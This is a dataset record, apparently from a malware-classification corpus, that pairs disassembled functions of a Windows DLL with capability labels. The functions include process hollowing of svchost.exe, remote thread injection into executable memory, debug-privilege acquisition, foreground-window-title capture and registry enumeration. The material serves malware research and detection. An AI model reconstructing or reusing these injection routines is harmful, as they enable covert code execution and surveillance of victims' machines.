joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180007b10
Capabilities:
Query or enumerate registry key

Disassembly:
push rbp
push r12
push r13
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rbp + 0x390], rax
mov r12, rcx
lea rcx, [rbp + 0x192]
xor r13d, r13d
xor edx, edx
mov r8d, 0x1fc
mov word [rbp + 0x190], r13w
call fcn.180017e30
lea r11, [rsp + 0x70]
lea rdx, str.SoftwareTencentPluginVAS
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x180007ce1
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], r13
lea rax, [rsp + 0x7c]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x78]
xor edx, edx
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x64]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x180007d13
mov qword [rsp + 0x4d0], rsi
mov esi, dword [rsp + 0x64]
inc esi
cmp dword [rsp + 0x60], r13d
jbe 0x180007cd9
cmp esi, 1
jbe 0x180007cd9
lea rcx, [rbp - 0x70]
xor edx, edx
mov r8d, 0x1fe
mov qword [rsp + 0x4c8], rbx
call fcn.180017e30
mov ebx, r13d
cmp dword [rsp + 0x60], ebx
jbe 0x180007cc6
nop word [rax + rax]
lea rcx, [rbp - 0x70]
xor edx, edx
mov r8d, 0xff
call fcn.180017e30
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
lea r9, [rsp + 0x68]
lea r8, [rbp - 0x70]
mov edx, ebx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x68], esi
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0xc
jge 0x180007cba
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 5
jle 0x180007cba
lea r8, [rbp - 0x70]
lea rcx, [rbp + 0x190]
mov edx, 0xff
call fcn.180016188
lea r8, [0x1800342d0]
lea rcx, [rbp + 0x190]
mov edx, 0xff
call fcn.180016188
inc ebx
cmp ebx, dword [rsp + 0x60]
jb 0x180007c30
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x4c8]
mov rsi, qword [rsp + 0x4d0]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 4
jle 0x180007d13
mov r9d, 0xd6
lea r8, [rbp + 0x190]
mov rcx, r12
lea edx, [r9 + 1]
call fcn.180015c88
mov eax, 1
jmp 0x180007d15
xor eax, eax
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.180014f50
add rsp, 0x4a0
pop r13
pop r12
pop rbp
ret
Function at 0x180008220
Capabilities:
Check os version

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x170
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x20], rsi
mov rsi, rcx
mov ecx, 0x3c
call fcn.180012914
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rcx, [rsi + 0xcc8]
lea rdx, [0x180033f90]
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, rdi
call fcn.180008040
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x11c
xor ebx, ebx
call fcn.180017e30
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x1800083d4
cmp dword [rsp + 0x50], 2
jne 0x1800083d4
cmp dword [rsp + 0x44], 5
jbe 0x1800083d4
mov qword [rsp + 0x38], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
lea edx, [rbx + 8]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1800083d4
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea edx, [rbx + 0x19]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], ebx
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x180008381
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x180008381
mov edx, dword [rsp + 0x30]
lea ecx, [rbx + 0x40]
mov qword [rsp + 0x190], rbp
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbp, rax
test rax, rax
je 0x180008379
mov r9d, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea edx, [rbx + 0x19]
mov r8, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x180008370
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov rcx, qword [rbp]
movzx edx, byte [rax]
dec edx
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov ebx, dword [rax]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbp, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1800083d4
cmp ebx, 0x1000
je 0x1800083cb
cmp ebx, 0x2000
je 0x1800083c2
cmp ebx, 0x3000
je 0x1800083b9
cmp ebx, 0x4000
jne 0x1800083eb
lea rdx, [0x180034340]
jmp 0x1800083db
lea rdx, [0x180034330]
jmp 0x1800083db
lea rdx, [0x180034320]
jmp 0x1800083db
lea rdx, [0x180034310]
jmp 0x1800083db
lea rdx, str.None__s
lea rcx, [rsi + 0xa70]
mov r8, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
mov rsi, qword [rsp + 0x198]
mov rbx, qword [rsp + 0x188]
test rdi, rdi
je 0x180008408
mov rcx, rdi
call fcn.180015ae0
mov eax, 1
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.180014f50
add rsp, 0x170
pop rdi
ret
Function at 0x1800085c0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
push rdi
push r12
sub rsp, 0x260
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, r8
mov r12, rdx
mov rsi, rcx
mov dword [rsp + 0x30], 1
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x40]
call fcn.180017e30
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x180008634
or ebx, 0xffffffff
jmp 0x1800086a5
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x1800086a5
cmp eax, 2
ja 0x1800086a5
mov dword [rsp + 0x34], 0x208
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, r12
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1800086a5
lea rdx, [0x180033f8c]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x180008692
or ebx, 0xffffffff
jmp 0x1800086a5
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.180014f50
mov rbx, qword [rsp + 0x298]
add rsp, 0x260
pop r12
pop rdi
pop rsi
ret

Function at 0x180008ca0
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
xor eax, eax
lea rcx, [0x180033f70]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x180034400]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x20]
test rax, rax
je 0x180008cef
call rax
jmp 0x180008cf5
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x20]
mov ecx, 6
cmp cx, ax
je 0x180008d15
mov ecx, 9
cmp cx, ax
je 0x180008d15
xor eax, eax
add rsp, 0x58
ret
mov eax, 1
add rsp, 0x58
ret
Function at 0x180008d20
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x50
mov rdi, rcx
lea rcx, [0x180034418]
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x180008e83
lea rdx, str.RtlGetNtVersionNumbers
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180008e7a
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x70], rsi
call rax
movzx r11d, word [rsp + 0x80]
mov eax, dword [rsp + 0x88]
mov r9d, dword [rsp + 0x30]
mov dword [rsp + 0x28], r11d
lea r8, str._d._d._d
mov edx, 0x1e
mov rcx, rdi
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x80], r11d
call fcn.1800157bc
mov r11d, 0xca
mov rcx, 0xffffffffffffffff
mov eax, 2
mov dword [rsp + 0x34], r11d
mul r11
cmovo rax, rcx
mov rcx, rax
call fcn.180012914
mov dword [rsp + 0x38], 1
mov rdi, rax
call fcn.180008ca0
xor r8d, r8d
test eax, eax
lea rax, [rsp + 0x40]
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
mov r9d, 0x20119
mov qword [rsp + 0x20], rax
jne 0x180008e17
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x38]
mov esi, eax
lea rax, [rsp + 0x34]
lea rdx, str.ProductName
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180008e62
test esi, esi
jne 0x180008e62
lea r9d, [rax + 0x31]
lea edx, [rax + 0x32]
mov r8, rdi
mov rcx, rbp
call fcn.180015c88
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call fcn.180015ae0
mov rsi, qword [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add rsp, 0x50
pop rdi
pop rbp
pop rbx
ret

Function at 0x180008e90
Capabilities:
Accept command line arguments
Create process on windows
Terminate process

Disassembly:
push rbx
sub rsp, 0x2f0
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x2e0], rax
lea rdx, [rsp + 0xe0]
mov r8d, 0x1fe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rcx, [rsp + 0x70]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea r11, [rsp + 0x50]
mov qword [rsp + 0x48], r11
lea rax, [rsp + 0x70]
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
xor eax, eax
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov rdx, rbx
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1800098b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get common file path
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push r12
lea rbp, [rsp - 0x5c0]
sub rsp, 0x6c0
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rbp + 0x5b0], rax
movsxd rbx, edx
xor edx, edx
mov rsi, rcx
lea r8d, [rdx + 0x68]
lea rcx, [rsp + 0x70]
call fcn.180017e30
xor r11d, r11d
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x4d0
mov qword [rsp + 0x50], r11
mov qword [rsp + 0x58], r11
mov qword [rsp + 0x60], r11
call fcn.180017e30
xor r12d, r12d
lea rcx, [rbp + 0x4b1]
xor edx, edx
mov r8d, 0xfe
mov dword [rsp + 0x70], WSAGetLastError
mov dword [rbp - 0x54], 1
mov word [rbp - 0x50], r12w
mov byte [rbp + 0x4b0], r12b
call fcn.180017e30
lea rcx, [rbp + 0x4b0]
mov edx, 0xff
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r9, str.WindowsSystem32_svchost.exe
lea r8, [rbp + 0x4b0]
lea rdx, [0x180034548]
lea rcx, [rbp + 0x4b0]
mov byte [rbp + 0x4b3], r12b
call fcn.18000a3e0
lea r11, [rsp + 0x50]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea rcx, [rbp + 0x4b0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180009a61
mov rcx, qword [rsp + 0x50]
mov r9d, 0x3000
mov r8, rbx
xor edx, edx
mov qword [rsp + 0x6f0], rdi
mov dword [rsp + 0x20], 0x40
mov rdi, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x180009a48
mov rcx, qword [rsp + 0x50]
mov r9, rdi
mov r8, rsi
mov rdx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180009a48
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x20]
mov dword [rbp + 0x10], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x180009a48
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x20]
mov qword [rbp + 0xd8], rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x180009a4c
xor al, al
jmp 0x180009a59
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov al, 1
mov rdi, qword [rsp + 0x6f0]
mov rcx, qword [rbp + 0x5b0]
xor rcx, rsp
call fcn.180014f50
mov rbx, qword [rsp + 0x6f8]
add rsp, 0x6c0
pop r12
pop rsi
pop rbp
ret
Function at 0x180009bc0
Capabilities:
Get disk information

Disassembly:
push rbp
push r12
sub rsp, 0x518
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
mov rbp, rdx
mov r12, rcx
test rdx, rdx
jne 0x180009bef
xor eax, eax
jmp 0x180009d0b
mov qword [rsp + 0x540], rbx
mov qword [rsp + 0x510], rsi
lea rdx, [rsp + 0x100]
mov ecx, 0x3e8
mov qword [rsp + 0x508], rdi
mov qword [rsp + 0x500], r13
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x180009cdd
xor r13d, r13d
mov edi, r13d
cmp word [rsp + 0x100], di
je 0x180009cdd
lea rbx, [rsp + 0x100]
movsxd rax, edi
lea rdx, [0x180034610]
lea rsi, [rsp + rax*2 + 0x100]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x180009ccc
lea rdx, [0x180034618]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x180009ccc
movzx eax, word [rbx]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
mov word [rsp + 0x20], ax
movzx eax, word [rbx + 2]
mov r8d, 0x64
mov word [rsp + 0x22], ax
mov word [rsp + 0x24], r13w
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x180009ce9
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, [rsp + 0x30]
mov rcx, r12
movsxd rsi, eax
mov r8, rsi
call fcn.180015f14
test eax, eax
je 0x180009d26
add rbx, 8
add edi, 4
cmp word [rbx], r13w
jne 0x180009c46
mov rdx, r12
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor eax, eax
mov rdi, qword [rsp + 0x508]
mov rsi, qword [rsp + 0x510]
mov rbx, qword [rsp + 0x540]
mov r13, qword [rsp + 0x500]
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.180014f50
add rsp, 0x518
pop r12
pop rbp
ret
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [r12 + rsi*2]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, 1
jmp 0x180009ceb

Function at 0x180009d50
Capabilities:
Get process image filename

Disassembly:
push rdi
sub rsp, 0x240
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x230], rax
xor eax, eax
mov rdi, rdx
test rdx, rdx
je 0x180009de4
mov word [rdx], ax
mov r8d, ecx
xor edx, edx
mov ecx, 0x400
mov qword [rsp + 0x260], rbx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180009db9
lea rdx, [rsp + 0x20]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
jne 0x180009dbd
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x180009ddc
lea rcx, [rsp + 0x20]
mov rdx, rdi
call fcn.180009bc0
mov rcx, rbx
test eax, eax
je 0x180009db3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rbx, qword [rsp + 0x260]
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.180014f50
add rsp, 0x240
pop rdi
ret
Function at 0x18000a670
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x60
mov rbp, rdx
mov r9d, 0x3000
mov r8d, 0x1000
xor edx, edx
mov rdi, rcx
xor bl, bl
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x18000a78d
xor eax, eax
mov qword [rsp + 0x70], r12
xor r12d, r12d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea r9d, [r12 + 0x20]
mov qword [rsp + 0x50], rax
mov eax, dword [0x180045850]
lea r8, [rsp + 0x40]
mov dword [rsp + 0x48], eax
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdx, rsi
mov rcx, rdi
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000a773
lea r9, [0x18000a660]
lea r8, [0x18000a630]
lea rdx, [rsi + 0x20]
mov rcx, rdi
sub r9d, r8d
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000a773
mov qword [rsp + 0x30], r12
lea r9, [rsi + 0x20]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x18000a773
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov bl, 1
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r12, qword [rsp + 0x70]
lea r11, [rsp + 0x60]
movzx eax, bl
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x18000a860
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rdi, rcx
xor sil, sil
lea ecx, [rdx + 2]
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18000a907
call fcn.18000ae70
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.18000ac10
mov rax, qword [rbx]
xor edi, edi
movsxd rcx, dword [rax + 4]
test byte [rcx + rbx + 0x10], 6
jne 0x18000a8de
mov rcx, qword [rcx + rbx + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove edi, ecx
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
test edi, edi
je 0x18000a903
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], 0
jne 0x18000a8fb
or edx, 4
xor r8d, r8d
call fcn.18000a440
xor al, al
jmp 0x18000a976
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18000a969
nop dword [rax]
lea rax, [rsp + 0x4c]
mov r8, rdi
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x18000a944
add rax, 2
test ecx, ecx
jne 0x18000a930
test edx, edx
je 0x18000a95c
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18000a920
jmp 0x18000a969
mov ecx, dword [rsp + 0x28]
mov sil, 1
mov dword [0x180045850], ecx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, sil
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.180014f50
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x18000ab60
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
lea edx, [rbx + 0x20]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18000abec
lea r8, [rsp + 0x3c]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
mov dword [rsp + 0x38], 1
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
lea r9d, [rbx + 0x10]
lea r8, [rsp + 0x38]
xor edx, edx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x44], 2
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x30]
test eax, eax
sete bl
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180014f50
add rsp, 0x50
pop rbx
ret
Function at 0x18000ec90
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x50
mov rbp, rcx
mov ecx, 0x430
movzx r13d, dl
call fcn.1800155f8
xor edx, edx
mov r8d, 0x430
mov rcx, rax
mov rdi, rax
call fcn.180017e30
lea rcx, [rsp + 0x90]
mov byte [rdi], 0
mov dword [rsp + 0x90], 8
call qword [sym.imp.USER32.dll_GetLastInputInfo]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r11d, eax
mov eax, 0x10624dd3
lea rcx, [rdi + 2]
sub r11d, dword [rsp + 0x94]
mul r11d
mov eax, 0x88888889
shr edx, 6
mul edx
shr edx, 5
mov r8d, edx
lea rdx, [0x180034288]
call qword [sym.imp.USER32.dll_wsprintfW]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x18000ed38
lea rdx, [rdi + 0x20]
mov r8d, 0xfa
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [rdi + 0x230]
call fcn.180007150
xor ebx, ebx
lea r8, [rsp + 0x40]
mov dword [rsp + 0x30], ebx
lea rdx, [rsp + 0x98]
lea rcx, [rsp + 0x90]
mov r9b, 1
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x90], ebx
mov byte [rsp + 0x20], bl
mov dword [rsp + 0x98], ebx
mov dword [rsp + 0x40], ebx
call fcn.18000ee40
movsxd r12, dword [rsp + 0x90]
mov rsi, rax
test r12d, r12d
je 0x18000edf1
test r13b, r13b
je 0x18000edf1
lea r13d, [r12 + 0x430]
movsxd rcx, r13d
call fcn.180012914
mov ecx, dword [rsp + 0x98]
mov rdx, rdi
mov dword [rdi + 0x214], ecx
mov ecx, dword [rsp + 0x40]
mov r8d, 0x430
mov dword [rdi + 0x218], ecx
mov rcx, rax
mov rbx, rax
call fcn.180014f80
lea rcx, [rbx + 0x430]
mov r8, r12
mov rdx, rsi
call fcn.180014f80
cmp dword [rbp + 0x10], 0
jne 0x18000ee09
mov r8d, r13d
mov rdx, rbx
jmp 0x18000edff
cmp dword [rbp + 0x10], ebx
jne 0x18000ee09
mov r8d, 0x430
mov rdx, rdi
mov rcx, qword [rbp + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rdi
call fcn.180014f2c
test rsi, rsi
je 0x18000ee1e
mov rcx, rsi
call fcn.180015ae0
test rbx, rbx
je 0x18000ee2b
mov rcx, rbx
call fcn.180015ae0
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret